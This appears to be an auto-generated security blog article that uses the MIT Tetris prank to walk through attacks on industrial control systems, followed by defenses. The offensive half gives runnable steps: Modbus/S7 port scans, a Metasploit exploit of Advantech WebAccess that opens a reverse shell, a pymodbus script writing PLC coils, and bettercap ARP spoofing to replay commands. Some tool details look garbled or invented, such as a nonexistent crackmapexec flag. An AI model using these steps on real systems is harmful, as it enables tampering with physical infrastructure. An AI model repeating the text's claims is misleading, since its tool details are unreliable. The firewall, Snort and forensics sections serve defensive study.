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Introduction:
When a group of MIT students commandeered a building’s electrical management system to play Tetris, they didn’t just pull a legendary prank – they exposed a raw nerve in industrial control system (ICS) security. This article dissects the offensive techniques used to compromise human‑machine interfaces (HMIs) and programmable logic controllers (PLCs), then pivots to actionable blue‑team countermeasures, complete with verified commands for both Linux and Windows environments.
Learning Objectives:
- Map and enumerate ICS networks to identify vulnerable HMIs and PLCs using open‑source tools.
- Exploit weak authentication and protocol flaws to inject custom logic (e.g., Tetris) into industrial displays.
- Implement defense‑in‑depth strategies including network segmentation, firewall rules, and anomaly detection.
You Should Know:
- Reconnaissance of Industrial Networks – Find the HMIs
Before anyone can turn a power display into a game screen, they must discover reachable ICS devices. Many HMIs and PLCs listen on default ports like TCP/502 (Modbus), TCP/102 (S7comm), or TCP/44818 (CIP).
Step‑by‑step guide (Linux):
- Install nmap: `sudo apt install nmap`
- Scan a target subnet for industrial services:
`nmap -sS -p 502,102,44818,20000,1911 –open -T4 192.168.1.0/24`
- Identify device vendor using
modbus-cli:
`pip install modbus-cli` then `modbus scan 192.168.1.100` – watch for default credentials like `admin/admin` on HMIs.
Windows equivalent: Use `SoftPLC` or `ModScan32` to read coil statuses interactively. For passive discovery, run `Wireshark` with filter `modbus || s7comm` while connected to the OT network.
- Exploiting HMI Software Vulnerabilities – Gain Code Execution
Outdated HMI software (e.g., Advantech, Siemens WinCC, Rockwell FactoryTalk) often contains unpatched buffer overflows or hardcoded backdoors. Once exploited, an attacker can execute arbitrary code – like rendering Tetris on the display.
Step‑by‑step guide using Metasploit (Linux):
- Launch `msfconsole` and search for ICS exploits:
`search type:exploit platform:windows scada`
- For Advantech WebAccess (CVE‑2019‑10955):
`use exploit/windows/scada/advantech_bw`
`set RHOSTS 192.168.1.50`
`set PAYLOAD windows/shell/reverse_tcp`
`run`
- After a shell, modify the HMI’s screens.xml or inject a script that draws pixels via the framebuffer.
Windows penetration testing alternative: Use `crackmapexec` with `–scada` flag against WinCC servers to test for weak SMB passwords.
- Modifying PLC Logic – Take Control of Outputs
PLCs execute ladder logic that controls physical relays, lights, or motors. To simulate Tetris, an attacker repeatedly writes coil states (on/off patterns) at high speed.
Linux command example with `pymodbus`:
!/usr/bin/env python3
from pymodbus.client import ModbusTcpClient
import time
client = ModbusTcpClient('192.168.1.100')
client.connect()
Tetris shape: write a column of coils
pattern = [True, False, True, False, True, False, True, False]
for i, val in enumerate(pattern):
client.write_coil(i, val)
time.sleep(0.1)
client.close()
Windows tool: Use `Modbus Poll` to manually toggle coils, or `WinPLC` library in PowerShell:
$modbus = New-Object System.Net.Sockets.TcpClient('192.168.1.100',502)
... send raw Modbus write single coil (05) function
Mitigation: Enforce source IP whitelisting on PLCs and enable audit logging for all write transactions.
- Bypassing Air Gaps – The USB Drop Attack
Many believe air‑gapped networks are secure, but attackers can introduce malware via a USB Rubber Ducky disguised as a keyboard. The MIT students likely used an engineering laptop that bridged the gap.
Step‑by‑step Linux simulation (educational only):
- Use `bettercap` to ARP poison the HMI’s subnet, pretending to be the PLC:
`sudo bettercap -eval “set arp.spoof.targets 192.168.1.10; arp.spoof on; net.sniff on”` - Capture and replay Modbus commands to the real PLC after the HMI is tricked.
Windows defense: Disable USB auto‑run via Group Policy – `gpedit.msc` → Administrative Templates → System → “Turn off Autoplay”. Also, deploy endpoint detection (EDR) on all OT workstations.
- Defensive Hardening – Blocking Modbus and Restricting HMIs
To prevent a Tetris‑style takeover, network segmentation and strict firewall rules are mandatory.
Linux iptables rule to block Modbus (TCP/502) from untrusted hosts:sudo iptables -A INPUT -p tcp --dport 502 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 502 -j DROP
Windows Firewall (PowerShell admin):
New-NetFirewallRule -DisplayName "Block Modbus Inbound" -Direction Inbound -Protocol TCP -LocalPort 502 -Action Block
Advanced mitigation: Deploy an industrial IDS like `Snort` with Modbus preprocessor:
`sudo apt install snort` + custom rule:
`alert tcp any 502 -> any any (msg:”Modbus write”; content:”|05|”; depth:1; sid:1000001;)`
- Forensics After an ICS Compromise – Finding the Tetris Traces
If someone plays Tetris on your HMI, you need to collect volatile artifacts before they vanish.
Linux forensic commands on a compromised PLC/HMI (if SSH is available):
– `last` – show recent logins.
– `grep “write_coil” /var/log/syslog` – look for custom script execution.
– Capture live network traffic: `sudo tcpdump -i eth0 -w tetris_trace.pcap -s 0 ‘port 502’`
Windows (on HMI workstation):
- Use `Get-WinEvent -LogName Security | Where-Object { $_.Message -like “Modbus” }`
- Analyze PCAP with Wireshark and filter `modbus.func_code == 5` (write single coil) – look for frequent, rhythmic writes typical of a Tetris loop.
- Compare PLC program checksums against known good backups using `certutil -hashfile` on the firmware binary.
- Ethical Hacker’s Sandbox – Simulate the Attack Safely
Never attempt this on live infrastructure. Use open‑source virtual ICS environments.
Step‑by‑step to build a Tetris‑ready target:
- Run a Modbus server Docker container:
`docker run -d -p 502:502 –name modbus_simulator oitc/modbus-server`
- Clone `pyTetris` and modify it to send coil writes instead of console output.
- Test your exploit: run the Python coil‑writer against the container’s IP.
- For a complete HMI simulator, install `OpenPLC` on Ubuntu:
git clone https://github.com/thiagoralves/OpenPLC_v3 cd OpenPLC_v3 ./install.sh ./start_openplc.sh
- Open a web browser to `http://localhost:8080` – now you have a fake HMI to practice defensive monitoring.
What Undercode Say:
- Key Takeaway 1: The MIT Tetris hack is not an outlier – it mirrors real‑world ICS intrusions where attackers manipulate displays or processes for espionage or sabotage. Default credentials and unpatched HMI software remain the 1 entry vector.
- Key Takeaway 2: Air gaps provide a false sense of security; attackers routinely breach them via USB drops, supply chain compromises, or rogue engineering laptops. Defenders must adopt zero‑trust for OT, including micro‑segmentation and continuous authentication.
Analysis: The playful Tetris stunt belies a grim reality: industrial control systems were designed for reliability and uptime, not resilience against creative adversaries. A single vulnerable HMI on the same Layer‑2 network as a PLC gives an attacker the keys to physically manipulate breakers, valves, or turbines. While the MIT students caused no harm, the same technique – scripting repeated coil writes – could overload a generator or trigger a blackout. Most organizations lack logging on Modbus function code 5 (write coil), meaning an incident might go unnoticed until lights flicker. The solution is not to ban penetration testing, but to integrate offensive security drills into OT maintenance cycles, exactly as these students demonstrated – but with a signed authorization letter.
Prediction:
By 2028, AI‑powered anomaly detection will become mandatory for ICS environments, specifically trained to flag “non‑operational patterns” like rapid coil writes that resemble a Tetris game. However, attackers will shift to adversarial machine learning, crafting subtle write delays that evade detection while still rendering simple graphics. Simultaneously, we expect regulatory bodies (e.g., NERC CIP, IEC 62443) to impose six‑figure fines for any utility found running HMIs with default credentials – turning the MIT prank from a fun anecdote into a legal compliance benchmark. The arms race will ultimately force hardware vendors to bake secure boot and encrypted PLC‑to‑HMI communication into every new device, rendering the classic Modbus‑on‑port‑502 a relic of a more playful, dangerous era.
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IT/Security Reporter URL:
Reported By: Jmetayer Le – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
